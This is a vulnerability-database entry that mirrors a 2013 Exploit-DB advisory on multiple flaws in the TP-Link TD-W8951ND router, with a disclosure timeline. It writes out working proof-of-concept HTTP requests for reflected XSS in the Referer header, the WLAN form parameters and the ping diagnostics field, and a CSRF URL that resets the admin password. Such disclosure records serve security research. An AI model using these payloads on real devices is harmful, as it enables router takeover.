ID
VAR-E-201309-0484
EDB ID
28055
TITLE
TP-Link TD-W8951ND - Multiple Vulnerabilities - Hardware webapps Exploit
Trust: 0.6
DESCRIPTION
TP-Link TD-W8951ND - Multiple Vulnerabilities. CVE-96928CVE-96927CVE-96926CVE-96925 . webapps exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | tp link | model: | td-w8951nd | scope: | - | version: | - | Trust: 1.6 |
EXPLOIT
-----------
Author:
-----------
xistence < xistence[at]0x90[.]nl >
-------------------------
Affected products:
-------------------------
Tested on TP-Link TD-W8951ND Firmware 4.0.0 Build 120607 Rel.30923
-------------------------
Affected vendors:
-------------------------
TP-Link
http://www.tp-link.com/
----------
Details:
----------
[ 0x01 - Unauthenticated Reflected XSS in Referer for non-existing url
pages ]
GET /doesnotexist HTTP/1.1
Host: <IP>
Referer: http://pwned"><script>alert("XSS")</script>
Connection: keep-alive
[ 0x02 - Authenticated Reflected XSS in "home_wlan_1" arguments ]
http://
<IP>/Forms/home_wlan_1?wlanWEBFlag=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
http://
<IP>/Forms/home_wlan_1?AccessFlag=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
http://
<IP>/Forms/home_wlan_1?wlan_APenable=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E
[ 0x03 - Authenticated XSS in diagnostics (ping) "/Forms/tools_test_1"
argument "PingIPAddr" ]
POST /Forms/tools_test_1 HTTP/1.1
Host: <IP>
Referer: http://<IP>/maintenance/tools_test.htm
Authorization: Basic blablabla==
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
Test_PVC=PVC0&PingIPAddr=%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&pingflag=1&trace_open_flag=0&InfoDisplay=Ping+request+could+not+find+host+
[ 0x04 - Reset Admin password CSRF ]
http://
<IP>/Forms/tools_admin_1?uiViewTools_Password=PWNED&uiViewTools_PasswordConfirm=PWNED
--------------
Timeline:
--------------
2013-05-30 Provided details to TP-Link.
2013-06-01 Response from TP-Link that they will try to fix it.
2013-07-31 No further response, mailed again to ask for status.
2013-08-30 No response, public disclosure.
Trust: 1.0
EXPLOIT LANGUAGE
txt
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Multiple Vulnerabilities
Trust: 1.6
CREDITS
xistence
Trust: 0.6
EXTERNAL IDS
| db: | EXPLOIT-DB | id: | 28055 | Trust: 1.6 |
| db: | EDBNET | id: | 49897 | Trust: 0.6 |
REFERENCES
| url: | https://www.exploit-db.com/exploits/28055/ | Trust: 0.6 |
SOURCES
| db: | EXPLOIT-DB | id: | 28055 |
| db: | EDBNET | id: | 49897 |
LAST UPDATE DATE
2022-07-27T09:47:30.756000+00:00
SOURCES RELEASE DATE
| db: | EXPLOIT-DB | id: | 28055 | date: | 2013-09-03T00:00:00 |
| db: | EDBNET | id: | 49897 | date: | 2013-09-03T00:00:00 |